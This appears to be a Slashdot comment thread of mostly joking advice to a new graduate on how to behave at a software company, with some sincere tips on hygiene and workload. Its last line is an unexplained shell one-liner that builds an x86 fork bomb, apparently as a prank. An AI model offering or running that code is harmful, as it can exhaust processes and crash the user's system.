How To Behave At a Software Company?
dawilcox writes "I'm a recent grad and am going to begin work at a software company. I want to make a good impression on my boss and coworkers. I know that performance is usually tracked, but there are also innate personality traits of good software developers that bosses just want to have around. What are those personality traits? What should I be trying to do in order to make a good impression on the people at my work?" (Appropriate side question: What behavior traits would you like your co-workers to exhibit?)
stop bathing
be awkward around the opposite gender
come in at noon and leave after midnight
be extremely condescending towards anyone at the company who is not an engineer
never admit that anything is your fault
drink 20 cans of free soda a day
claim to be a libertarian if you dont already
Suggesting Taco Bell is ok... it's the aftermath that can be alienating.
Before you design for reuse, make sure to design it for use.
Now we see why they say, "Go not to Slashdot for counsel, for they will say both yes and no."
"What do you despise? By this are you truly known." --Princess Irulan, Manual of Muad'Dib
/)
That's going a bit overboard, and won't work anyway; dead bodies are quite unhygienic. WASHING yourself (i.e. showering -- use soap and shampoo) and brushing your teeth (toothpaste: tastes bad, works good) are the two most important things you can do. Put on clean clothes after showering; this generally means doing laundry now and again, but it's worth it.
Also, though this may be a catch-22, don't bring live things into work to eat either.
Good hygiene and refraining from acting like a know-it-all are my two best pieces of advice. Nerd types are often (myself included) poor at those two things.
It's good to follow the dress code as well. I try to stick to an unbuttoned Hawaiian shirt, Bermuda shorts, sun glasses and a beer hat. On days when there are no meetings scheduled I dress more casually.
innate personality traits of good software developers that bosses just want to have around.
Have a positive can-do attitude, especially whenever the boss asks you to work evenings and weekends. What bosses love to have around are smart people who get things done and don't mind working 60 hour weeks standard (up from there whenever anything surprising happens or is badly panned) for a 40-hour salary.
Appropriate side question: What behavior traits would you like your co-workers to exhibit?
A little self-respect, and enough spine to refuse to be exploited into giving up your personal life to further your bosses ends. Every time you work long hours, you create expectations that your co-workers should work long hours too, and they will despise you for it.
Do not bring any food containers that smell like something died inside ...
But, but ... Almost all my food consists of something that died.
Yeah, there are exception, like the lettuce, tomato, etc., that are technically still alive. But, for example, the bread was made from a pile of baby wheat plants that were ground up (while still alive), then mixed with live yeast and a few other ingredients, then baked at a temperature guaranteed to kill everything in the loaf. Then we slice that up, fill it with slices of dead animals and other things. Only the lettuce leaves and the seeds inside the tomato slices are still alive; the rest is quite dead.
I've found that people tend to think that such food is very "fresh", whatever that might mean, but they're clearly wrong. It's mostly made up of things that have died in the recent past. Some of them, like the baby wheat plants, died a rather awful death by being tossed live into a grinder. Others, like the yeast in the bread, died a horrible death in a bath of steam slowly getting hotter.
Those who do study history are doomed to stand helplessly by while everyone else repeats it.
The first day, what you need to do, is find the biggest, smartest, most awesome software developer they have... and kick his ass.
No one will screw with you after that.
My advice: Do not drop references to literature you've never read.
That certainly would be a white whale, to be sure!
Naah, *never* stand up for what you believe in. Software is about passive aggression. Rather than telling someone to stop clicking, spend the afternoon arguing about why you won't tell him on Slashdot.
People that stand up for what they believe in a trouble makers. We need people people in this team. Oh, and I'm going to need you to come in on Saturday. Remember what I just said. Slashdot isn't blocked by the corporate firewall BTW.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;